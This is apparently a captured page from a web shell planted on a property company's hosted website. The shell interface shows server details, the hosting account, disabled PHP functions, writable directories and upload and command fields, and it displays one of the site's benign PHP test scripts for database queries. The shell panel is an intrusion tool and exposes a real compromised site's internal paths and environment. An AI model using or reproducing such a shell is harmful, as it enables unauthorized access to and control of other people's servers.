403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.28
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/test_reports_error.php
<?php
require_once 'includes/db.php';
require_once 'includes/functions.php';

// Simulate a company ID
$companyId = 1; 
$companyWhere = " WHERE company_id = $companyId";

echo "Testing Deals Query...\n";
try {
    $sql = "SELECT COUNT(*) FROM deals $companyWhere";
    echo "SQL: $sql\n";
    $count = $pdo->query($sql)->fetchColumn();
    echo "Deals Count: $count\n";
} catch (Exception $e) {
    echo "Error in Deals: " . $e->getMessage() . "\n";
}

echo "\nTesting Properties Query...\n";
try {
    $sql = "SELECT status, COUNT(*) as count FROM properties $companyWhere GROUP BY status";
    echo "SQL: $sql\n";
    $stmt = $pdo->query($sql);
    $data = $stmt->fetchAll(PDO::FETCH_KEY_PAIR);
    echo "Properties Data: " . print_r($data, true) . "\n";
} catch (Exception $e) {
    echo "Error in Properties: " . $e->getMessage() . "\n";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit